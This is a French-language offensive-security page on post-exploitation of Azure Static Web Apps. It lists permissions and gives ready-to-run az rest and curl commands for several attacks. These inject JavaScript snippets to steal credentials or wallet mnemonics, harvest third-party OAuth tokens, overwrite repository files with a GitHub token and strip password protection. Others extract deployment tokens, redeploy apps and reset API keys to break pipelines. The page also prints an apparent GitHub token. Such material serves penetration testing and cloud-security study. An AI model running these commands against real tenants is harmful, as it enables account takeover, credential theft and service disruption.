# Az - Static Web Apps Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Azure Static Web Apps Pour plus d'informations sur ce service, consultez : {{#ref}} ../az-services/az-static-web-apps.md {{#endref}} ### Microsoft.Web/staticSites/snippets/write Il est possible de faire charger une page web statique avec du code HTML arbitraire en créant un extrait. Cela pourrait permettre à un attaquant d'injecter du code JS dans l'application web et de voler des informations sensibles telles que des identifiants ou des clés mnémotechniques (dans des portefeuilles web3). La commande suivante crée un extrait qui sera toujours chargé par l'application web : ```bash az rest \ --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ --headers "Content-Type=application/json" \ --body '{ "properties": { "name": "supersnippet", "location": "Body", "applicableEnvironmentsMode": "AllEnvironments", "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", "environments": [], "insertBottom": false } }' ``` ### Lire les identifiants de tiers configurés Comme expliqué dans la section App Service : {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} En exécutant la commande suivante, il est possible de **lire les identifiants de tiers** configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive. Voici quelques exemples de commandes pour vérifier les jetons : ```bash # GitHub – List Repositories curl -H "Authorization: token " \ -H "Accept: application/vnd.github.v3+json" \ https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ --data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` ### Écraser un fichier - Écraser des routes, HTML, JS... Il est possible d'**écraser un fichier à l'intérieur du dépôt Github** contenant l'application via Azure en utilisant le **token Github** pour envoyer une requête telle que celle-ci, qui indiquera le chemin du fichier à écraser, le contenu du fichier et le message de commit. Cela peut être exploité par des attaquants pour essentiellement **modifier le contenu de l'application web** afin de servir un contenu malveillant (voler des identifiants, des clés mnémotechniques...) ou simplement pour **rediriger certains chemins** vers leurs propres serveurs en écrasant le fichier `staticwebapp.config.json`. > [!WARNING] > Notez que si un attaquant parvient à compromettre le dépôt Github de quelque manière que ce soit, il peut également écraser le fichier directement depuis Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ -d '{ "commit": { "message": "Update static web app route configuration", "branchName": "main", "committer": { "name": "Azure App Service", "email": "donotreply@microsoft.com" }, "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", "filePath": "staticwebapp.config.json", "message": "Update static web app route configuration", "repoName": "carlospolop/my-first-static-web-app", "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" }, "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` ### Microsoft.Web/staticSites/config/write Avec cette autorisation, il est possible de **modifier le mot de passe** protégeant une application web statique ou même de déprotéger chaque environnement en envoyant une requête telle que la suivante : ```bash # Change password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ "name": "basicAuth", "type": "Microsoft.Web/staticSites/basicAuth", "properties": { "password": "SuperPassword123.", "secretUrl": "", "applicableEnvironmentsMode": "AllEnvironments" } }' # Remove the need of a password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ "name": "basicAuth", "type": "Microsoft.Web/staticSites/basicAuth", "properties": { "secretUrl": "", "applicableEnvironmentsMode": "SpecifiedEnvironments", "secretState": "None" } }' ``` ### Microsoft.Web/staticSites/listSecrets/action Cette permission permet d'obtenir le **jeton de déploiement de clé API** pour l'application statique. Ce jeton permet de déployer l'application. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` Ensuite, pour mettre à jour une application, vous pouvez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant **comment fonctionne Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, car c'est celle qu'Azure a définie par défaut à utiliser. Ainsi, l'image et les paramètres pourraient changer à l'avenir. 1. Téléchargez le dépôt [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou tout autre dépôt que vous souhaitez déployer) et exécutez `cd react-basic`. 2. Modifiez le code que vous souhaitez déployer 3. Déployez-le en exécutant (N'oubliez pas de changer le ``): ```bash docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` ### Microsoft.Web/staticSites/write Avec cette autorisation, il est possible de **changer la source de l'application web statique vers un autre dépôt Github**, cependant, cela ne sera pas provisionné automatiquement car cela doit être fait à partir d'une action Github, généralement avec le jeton qui a autorisé l'action, car ce jeton n'est pas mis à jour automatiquement dans les secrets Github du dépôt (il est simplement ajouté automatiquement lors de la création de l'application). ```bash az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main ``` ### Microsoft.Web/staticSites/resetapikey/action Avec cette permission, il est possible de **réinitialiser la clé API de l'application web statique**, ce qui peut potentiellement provoquer un DoS des workflows qui déploient automatiquement l'application. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` {{#include ../../../banners/hacktricks-training.md}}